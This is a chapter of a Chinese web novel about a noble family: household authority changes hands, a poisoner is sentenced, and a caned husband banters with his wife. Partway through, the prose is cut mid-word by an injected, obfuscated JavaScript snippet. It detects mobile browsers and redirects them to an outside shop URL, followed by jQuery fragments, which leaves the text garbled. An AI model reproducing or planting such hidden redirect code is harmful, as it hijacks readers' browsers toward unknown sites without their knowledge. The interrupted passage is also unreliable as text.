刚转身时,听到程知的一番话,她心底动容。
没想到程知会这样评价她,她曾经与黄书兰一样,把程知当成假想敌,殊不知程知根本就不在意这些。
心中顿时五味杂陈,听房间说话声停下来,应该是崔老夫人同意了程知的建议。
听房间不再提及管家权的事情,苗氏抬腿入内问安。
程知循声望去,看见苗氏的眼神,总觉得苗氏刚刚听到他们的对话。
不过,听没听见,都无所谓。
“你来得正好,我与你大嫂正商量着,着陆家后宅不可一日无主。你在陆家辛苦多年,任劳任怨,大家都看在眼里。还要辛苦你多费心,陆家后宅的事,陆家的管家权,往后就交给你了。”崔老夫人相信苗氏的能力,此刻的话也不乏真心。
苗氏虽已经知晓缘由,可亲耳听见,却又是另外一番心境。
她没办法做到内心毫无波澜,自己所做的一切,终于有人意识到自己的成果。
“祖母疼爱,孙媳铭感五内。但按照祖制,管家一事,孙媳不该越过大嫂。”
陆正安满意点点头,这陆家的媳妇都是好样的。
“你入陆家以来,兢兢业业,老身和陆家上下都看在眼里,你来管家,无人不服。至于你大嫂,这事也是她力主你长家。”
无论是谁掌家,崔老夫人只希望陆家和和美美,延续百年香火。
程知接过崔老夫人的话口,看向苗氏,“祖母所说,皆是我所想。二弟妹待人亲厚,我入府不久,早有听闻府内对二弟妹的称赞。更是亲眼所见,二弟妹为人处事令人佩服。”
陆正安也跟着搭腔,“老二媳妇,你祖母和大嫂都这么说了,你就不要谦虚了。”
“祖母、二叔、大嫂信任,定不负厚望。”
管家权交由苗氏手中,崔老夫人嘱咐了几句,便让众人离开。
程知独自回到栖梧园,吩咐丫环沐浴梳洗,洗去一身的疲惫。
听青松来报,英国公陆正礼已脱离危险,但仍需悉心照顾,郎中在府内随时等候。
可怜陆怀骰想为母报仇,原是要一剑刺死陆正礼,但不能毁了陆家的根基,陆怀骰还是留下了陆正礼的性命。
程知躺在冰冷的床榻上,身旁空落落的滋味很不好受。
没了暖被窝的人,顿感被凉。
翻来覆去睡不着,还是想念那暖床的人。
不知过了多久,许是多日疲惫,程知迷迷糊糊睡着。
次日早朝后。
黄书兰毒害仪宁郡主证据确凿,废除诰命身份,贬为庶人,三日后问斩。黄书兰后代三代以内,不得参加科考、不得入朝为官。黄家纵容黄书兰谋害皇室,黄家男子根据亲疏关系,皆贬谪、罢免、充军等。
英国公陆正礼宠妾灭妻,但念其为国鞠躬尽瘁半身,已被儿子陆怀骰所伤,故免去官职,保留国公爵位,罚其俸禄五年,以此抚慰陆怀骰及仪宁郡主娘家。
陆怀骰弑父,罪无可恕。
在群臣的力保下,念在陆怀骰事出有因,且为母报仇心切,杖责三十,饶过性命。停职观察,日后着情况再定。
程知下了朝,从翰林院回到栖梧园时,陆怀骰已经回来了。
只不过,他是被抬进房间。
虽说已经处理过伤口,但程知亲眼所见,仍觉得心惊。
程知略有耳闻,杖责三十,若不是陆怀骰身强体壮,怕是没命活下来。
如今看陆怀骰额头冒汗,可见疼痛程度非常人能忍。
明明交代陆怀骰要顾好自己身体,又弄成这幅模样,程知皱着眉头,既心疼陆怀骰受刑,又生气陆怀骰不爱惜身体,“怎么搞成这样?”
陆怀骰受了刑,只能趴在床上,不想程知过于担心。
“不是答应你了,今日就回来,大丈夫岂能食言?”
程知并没有理会陆怀骰的玩笑话,严肃地看着陆怀骰,“我记得你答应过我,会爱惜自己身体的。”
“对不住。”
程知抱着陆怀骰肩头,闷闷道:“往后不要这样了。”
在杖责之前,她猜到,陆怀骰弑父而受刑是必然的结果。
生气陆怀骰不爱惜身体,但更多的是心疼。
心疼他受刑受伤,心疼他备受煎熬后放过陆正礼性命,心疼他独自承受的痛苦。
“兜兜,不疼的。”
程知没回话,陆怀骰趴着,别扭地靠在程知身上。
“兜兜?”陆怀骰听到了不对劲的声音,“程知?”
“你要是因为我哭,我会更痛的。”
程知松开陆怀骰,红着眼镜,不客气道:“谁哭了,少往自己脸上贴金。”
听到程知能开玩笑,陆怀骰悬着的心也放松下来。
为了让程知放心些,陆怀骰继续解释,“你看着疼,其实没那么痛的。我在官场也混了这么久,底下人办事也有眼力见,没真打伤我。”
程知半信半疑,也曾听闻,实施杖刑者都有独门绝技。
能让皮肤无损下伤筋动骨,三个月内下不来床,半年之内下不了地,有甚者因此残废终身,或是几日后暴毙而亡。
还有另一种情况,行刑者力道控制下,能让受刑者看起来血肉模糊,实则无伤大碍。看着重,实则轻,休息几日便可痊愈,不会落下病根。
而陆怀骰正是后者,看起来受了重刑,实则仅受了皮外小伤,休息两三日便可下床。以陆怀骰的身体情况,不出五日,定能完全恢复。
程知没好气道:“挨了打,又停了职,看你以后还敢不敢!”
“不敢了。惹夫人生气的事,再也不干了。”
陆怀骰回答得很快,含笑赖在程知身上,任由程知推开也不挪动。
受了杖刑,但无伤大雅,修养两日就好了。
至于停职,陆怀骰乐得自在。
他在这个位置待太久了,早就厌了。因祸得福,以后有更多时间陪程知,恨不得长此以往就待在程知身边。
“都这个时候了,还嬉皮笑脸,你以后可不是吏部尚书了。”
程知拍了陆怀骰不安分的手,心疼他为陆家付出代价的份上,没有说重话。
他自小以陆家继承人的身份优待,虽曾被黄书兰为难,但不可否认,陆家对他的帮扶。
他先是陆家的继承人,再是陆怀骰自己。
既要让黄书兰的恶行公告天下,又要让陆正礼付出代价,还要保全陆家,这是最好的结果了。
被程知拉开手,陆怀骰不死心往前靠,“往后我没了公职,夫人会不会嫌弃我?”
程知放弃挣扎,手指抚顺陆怀骰的发丝,“不嫌弃,我养你也成。”
陆怀骰灵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041864|177255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光一闪,突然抬头,“不如,往后我就做你的幕僚,助你封侯拜相。”
“果真?”
程知挑眉,能让陆怀骰做幕僚,那可得羡慕死多少人。
“我何时骗过你?”
刚说完,想到眼瞎的情况,陆怀骰心虚地偏过头。
话正说着,季娘敲门进来,“少夫人,二老爷和二少夫人过来了。”
未等程知答话,陆怀骰抢先开口。
“少夫人正忙着,让他们改日再来。”
他都没跟程知说上几句话,怎么可能把人让出去?
让程知出去招待他们,指不定要说多久的话才能回来,他可舍不得让自己在房间“苦苦等待”。
程知:“……”
季娘看着程知,等待程知的示下。
程知汗颜,向季娘摆摆手,“你问二叔和二弟妹可有急事?没有的话,让他们先回去吧。不走的话,就让他们在厅堂坐着,他们愿意坐就坐。”
听到程知的回答,陆怀骰满意地靠回去,就乖乖地趴在程知大腿上。
“我就知道,夫人还是疼我的。”
程知轻笑,“你好好休息,明日早膳前,不可以下床,有事叫我。”
“好。”
难得的温柔体贴,陆怀骰的心飘飘然,面露意外。
没想到这杖责后还能享受这样的待遇,难怪古有“苦肉计”,原来这么好使。
心里开始盘算,下次该用点什么“苦肉计”好?
鉴于陆怀骰挨了罚,程知今日格外耐心,亲自端茶倒水,伺候得陆怀骰舒舒服服。
陆怀骰乐呵呵趴在床上,享受程知的陪伴。
事无巨细,程知整理床褥,仔细交代,“今夜你在这里睡,我去外间的小床睡。有事唤我一声,我应该能醒。”
不与陆怀骰同床,一怕不小心碰到了陆怀骰伤处,二怕陆怀骰作乱伤人伤己。
陆怀骰的笑容僵住,突然撑起身体,顾不上伤处的疼痛,“你说什么!”
程知揉了揉耳朵,耐心重复一遍。
“你睡这里,我睡外边。”
“不行!我不同意。”
“我不是在跟你商量。”
“我也不是跟你商量。”
房间突然安静,大眼瞪小眼。
程知率先移开视线,转身走向外间。
陆怀骰拉住程知手腕,不满抗议,“哪有夫妻分床睡?”
“你身上有伤,不便一起睡。”程知瞧见陆怀骰准备辩解的嘴巴,含笑看着陆怀骰,意味深长说话,“再者,你骗我在先,分床睡,就算对你的惩罚了。”
说完,她快速抽开陆怀骰的手,转身离开。
陆怀骰掀开被子,眼看就要下床抓人。
程知预判转身,修长的手指直指陆怀骰,“你方才还答应我,明日早膳前不下床。”
陆怀骰抬到一半的腿顿住,意识到被程知忽悠了,气得甩开被子,“程兜兜,你炸我!”
“是你自己答应的我,我可没有逼你。或者说,你下床,再次骗我也成,反正也不是第一次了。”
陆怀骰咬牙切齿,下床不下床都不行。
硬的不行,只能来软的,他放低语气,试图唤醒程知的“良知”,挽回夫妻同床共枕。
“你就忍心放我一人独守空床?”